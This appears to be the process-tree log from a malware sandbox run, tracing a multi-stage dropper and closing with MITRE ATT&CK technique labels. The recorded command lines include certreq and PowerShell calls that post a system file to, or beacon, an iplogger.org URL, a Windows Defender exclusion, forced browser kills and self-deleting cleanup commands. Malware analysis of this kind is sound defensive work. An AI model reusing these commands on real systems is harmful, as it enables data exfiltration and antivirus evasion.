    - - C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
        5⤵
        Enumerates connected drives
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:4600
    - - C:\Users\Admin\AppData\Local\Temp\AD754B4D3FE2C4EE.exe
        
        C:\Users\Admin\AppData\Local\Temp\AD754B4D3FE2C4EE.exe 0011 installp1
        5⤵
        Executes dropped EXE
        Writes to the Master Boot Record (MBR)
        Suspicious use of SetThreadContext
        Checks SCSI registry key(s)
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4596
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe"
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:2196
      - C:\Users\Admin\AppData\Roaming\1615157752548.exe
        
        "C:\Users\Admin\AppData\Roaming\1615157752548.exe" /sjson "C:\Users\Admin\AppData\Roaming\1615157752548.txt"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1068
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe"
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:1856
      - C:\Users\Admin\AppData\Roaming\1615157754126.exe
        
        "C:\Users\Admin\AppData\Roaming\1615157754126.exe" /sjson "C:\Users\Admin\AppData\Roaming\1615157754126.txt"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1876
      - C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
        
        C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
        6⤵
        
        PID:3752
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\AD754B4D3FE2C4EE.exe"
        6⤵
        
        PID:5216
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 3
        7⤵
        Runs ping.exe
        
        PID:4488
    - - C:\Users\Admin\AppData\Local\Temp\AD754B4D3FE2C4EE.exe
        
        C:\Users\Admin\AppData\Local\Temp\AD754B4D3FE2C4EE.exe 200 installp1
        5⤵
        Executes dropped EXE
        Writes to the Master Boot Record (MBR)
        Checks SCSI registry key(s)
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4588
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2136
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:2088
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\AD754B4D3FE2C4EE.exe"
        6⤵
        
        PID:1184
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 3
        7⤵
        Runs ping.exe
        
        PID:1428
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4784
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 3
        6⤵
        Runs ping.exe
        
        PID:2220
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:1460
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        
        PID:4080
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        Kills process with taskkill
        
        PID:3188
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
      4⤵
      Executes dropped EXE
      PID:2304
    - - C:\Users\Admin\AppData\Local\Temp\LC1J1E48XG\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LC1J1E48XG\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        
        PID:580
      - C:\Users\Admin\AppData\Local\Temp\LC1J1E48XG\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LC1J1E48XG\multitimer.exe" 1 3.1615157547.6045592b9de04 101
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:2684
        
        C:\Users\Admin\AppData\Local\Temp\LC1J1E48XG\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LC1J1E48XG\multitimer.exe" 2 3.1615157547.6045592b9de04
        7⤵
        Executes dropped EXE
        Checks for any installed AV software in registry
        Maps connected drives based on registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:1072
        
        C:\Users\Admin\AppData\Local\Temp\f0riy35pgwx\bqmu5ngs5bj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\f0riy35pgwx\bqmu5ngs5bj.exe" /VERYSILENT
        8⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:192
        
        C:\Users\Admin\AppData\Local\Temp\is-1SMK4.tmp\bqmu5ngs5bj.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-1SMK4.tmp\bqmu5ngs5bj.tmp" /SL5="$7019E,870426,780800,C:\Users\Admin\AppData\Local\Temp\f0riy35pgwx\bqmu5ngs5bj.exe" /VERYSILENT
        9⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:4284
        
        C:\Users\Admin\AppData\Local\Temp\is-5UC1T.tmp\winlthst.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-5UC1T.tmp\winlthst.exe" test1 test1
        10⤵
        
        PID:4944
        
        C:\Users\Admin\AppData\Local\Temp\yun5i2lnyba\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\yun5i2lnyba\vict.exe" /VERYSILENT /id=535
        8⤵
        
        PID:1596
        
        C:\Users\Admin\AppData\Local\Temp\is-20M6L.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-20M6L.tmp\vict.tmp" /SL5="$202A8,870426,780800,C:\Users\Admin\AppData\Local\Temp\yun5i2lnyba\vict.exe" /VERYSILENT /id=535
        9⤵
        
        PID:4624
        
        C:\Users\Admin\AppData\Local\Temp\is-S8VMJ.tmp\wimapi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-S8VMJ.tmp\wimapi.exe" 535
        10⤵
        
        PID:5748
        
        C:\Users\Admin\AppData\Local\Temp\o2qcvrokzxe\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\o2qcvrokzxe\Setup3310.exe" /Verysilent /subid=577
        8⤵
        
        PID:2556
        
        C:\Users\Admin\AppData\Local\Temp\is-B1QJP.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-B1QJP.tmp\Setup3310.tmp" /SL5="$102AA,802346,56832,C:\Users\Admin\AppData\Local\Temp\o2qcvrokzxe\Setup3310.exe" /Verysilent /subid=577
        9⤵
        
        PID:3972
        
        C:\Users\Admin\AppData\Local\Temp\is-68SAO.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-68SAO.tmp\Setup.exe" /Verysilent
        10⤵
        
        PID:4084
        
        C:\Users\Admin\AppData\Local\Temp\is-1O9E2.tmp\Setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-1O9E2.tmp\Setup.tmp" /SL5="$3028C,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-68SAO.tmp\Setup.exe" /Verysilent
        11⤵
        
        PID:6064
        
        C:\Users\Admin\AppData\Local\Temp\cpvuglyelfa\askinstall24.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cpvuglyelfa\askinstall24.exe"
        8⤵
        
        PID:1332
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        9⤵
        
        PID:5352
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        10⤵
        Kills process with taskkill
        
        PID:5580
        
        C:\Users\Admin\AppData\Local\Temp\kmegpctx41p\chashepro3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\kmegpctx41p\chashepro3.exe" /VERYSILENT
        8⤵
        
        PID:4428
        
        C:\Users\Admin\AppData\Local\Temp\is-MSQUP.tmp\chashepro3.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-MSQUP.tmp\chashepro3.tmp" /SL5="$102AE,2012497,58368,C:\Users\Admin\AppData\Local\Temp\kmegpctx41p\chashepro3.exe" /VERYSILENT
        9⤵
        
        PID:4584
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
        10⤵
        
        PID:4560
        
        C:\Windows\SysWOW64\certreq.exe
        
        certreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
        11⤵
        
        PID:1760
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c "start https://iplogger.org/1aSny7"
        10⤵
        
        PID:2124
        
        C:\Program Files (x86)\JCleaner\Brava.exe
        
        "C:\Program Files (x86)\JCleaner\Brava.exe"
        10⤵
        
        PID:4528
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c "start https://iplogger.org/1EaGq7"
        10⤵
        
        PID:2196
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"
        10⤵
        
        PID:580
        
        C:\Program Files (x86)\JCleaner\8.exe
        
        "C:\Program Files (x86)\JCleaner\8.exe"
        10⤵
        
        PID:1204
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c echo grYNxrw
        11⤵
        
        PID:5344
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c cmd < Nemica.sys
        11⤵
        
        PID:5652
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        12⤵
        
        PID:5468
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
        10⤵
        
        PID:4400
        
        C:\Program Files (x86)\JCleaner\Venita.exe
        
        "C:\Program Files (x86)\JCleaner\Venita.exe"
        10⤵
        
        PID:3952
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"
        10⤵
        
        PID:5024
        
        C:\Users\Admin\AppData\Local\Temp\qtmfh2zuake\l2jmlzhjbtt.exe
        
        "C:\Users\Admin\AppData\Local\Temp\qtmfh2zuake\l2jmlzhjbtt.exe" testparams
        8⤵
        
        PID:4576
        
        C:\Users\Admin\AppData\Roaming\b5da2nig3i1\5ngtdtpuvhh.exe
        
        "C:\Users\Admin\AppData\Roaming\b5da2nig3i1\5ngtdtpuvhh.exe" /VERYSILENT /p=testparams
        9⤵
        
        PID:5828
        
        C:\Users\Admin\AppData\Local\Temp\nbmxkdx5b3w\bvd2u1krvsj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nbmxkdx5b3w\bvd2u1krvsj.exe" /ustwo INSTALL
        8⤵
        
        PID:3280
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3280 -s 656
        9⤵
        Program crash
        
        PID:5800
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3280 -s 672
        9⤵
        Program crash
        
        PID:5132
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3280 -s 704
        9⤵
        Program crash
        
        PID:540
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3280 -s 696
        9⤵
        Program crash
        
        PID:5332
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3280 -s 884
        9⤵
        Program crash
        
        PID:4872
        
        C:\Users\Admin\AppData\Local\Temp\xbnuvhcsyj4\vpn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xbnuvhcsyj4\vpn.exe" /silent /subid=482
        8⤵
        
        PID:3704
        
        C:\Users\Admin\AppData\Local\Temp\is-VJQPN.tmp\vpn.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-VJQPN.tmp\vpn.tmp" /SL5="$102B6,15170975,270336,C:\Users\Admin\AppData\Local\Temp\xbnuvhcsyj4\vpn.exe" /silent /subid=482
        9⤵
        
        PID:1164
        
        C:\Users\Admin\AppData\Local\Temp\3x0zzyffvyy\ng3bmdnxxnr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3x0zzyffvyy\ng3bmdnxxnr.exe" 57a764d042bf8
        8⤵
        
        PID:3764
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k "C:\Program Files\YCYT16816W\YCYT16816.exe" 57a764d042bf8 & exit
        9⤵
        
        PID:5804
        
        C:\Users\Admin\AppData\Local\Temp\cdqavbq5wtv\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cdqavbq5wtv\app.exe" /8-23
        8⤵
        
        PID:4772
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Broken-Field"
        9⤵
        
        PID:5460
        
        C:\Users\Admin\AppData\Local\Temp\xpk2l1pu5uh\IBInstaller_97039.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xpk2l1pu5uh\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
        8⤵
        
        PID:4076
        
        C:\Users\Admin\AppData\Local\Temp\is-0J89K.tmp\IBInstaller_97039.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-0J89K.tmp\IBInstaller_97039.tmp" /SL5="$301EE,14455514,721408,C:\Users\Admin\AppData\Local\Temp\xpk2l1pu5uh\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
        9⤵
        
        PID:4056
        
        C:\Users\Admin\AppData\Local\Temp\is-KA1QF.tmp\{app}\chrome_proxy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-KA1QF.tmp\{app}\chrome_proxy.exe"
        10⤵
        
        PID:5220
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c start http://gemstrue.shop/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
        10⤵
        
        PID:5208
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"
      4⤵
      Executes dropped EXE
      Checks whether UAC is enabled
      PID:532
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:5020
    - - C:\Users\Admin\AppData\Roaming\C181.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\C181.tmp.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3684
      - C:\Users\Admin\AppData\Roaming\C181.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\C181.tmp.exe"
        6⤵
        Executes dropped EXE
        Checks processor information in registry
        
        PID:2628
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
        5⤵
        
        PID:208
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\BTRSetp.exe"
      4⤵
      PID:60
    - - C:\ProgramData\8217318.90
        
        "C:\ProgramData\8217318.90"
        5⤵
        
        PID:5740
    - - C:\ProgramData\2076744.22
        
        "C:\ProgramData\2076744.22"
        5⤵
        
        PID:5836
    - - C:\ProgramData\1478494.16
        
        "C:\ProgramData\1478494.16"
        5⤵
        
        PID:5716
    - - C:\ProgramData\3518807.38
        
        "C:\ProgramData\3518807.38"
        5⤵
        
        PID:5864
    - - C:\ProgramData\2233907.24
        
        "C:\ProgramData\2233907.24"
        5⤵
        
        PID:5884
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\gcttt.exe"
      4⤵
      PID:5968

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 91EF582D6452DDFDD515240D41F40CCD C
  2⤵
  - Loads dropped DLL
  PID:2984

C:\Windows\SysWOW64\certreq.exe
certreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
1⤵
PID:2304

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
1⤵
- Runs ping.exe
PID:4728

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Bootkit

T1067

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

Query Registry

Remote System Discovery

T1018

Security Software Discovery

T1063

Software Discovery

T1518

System Information Discovery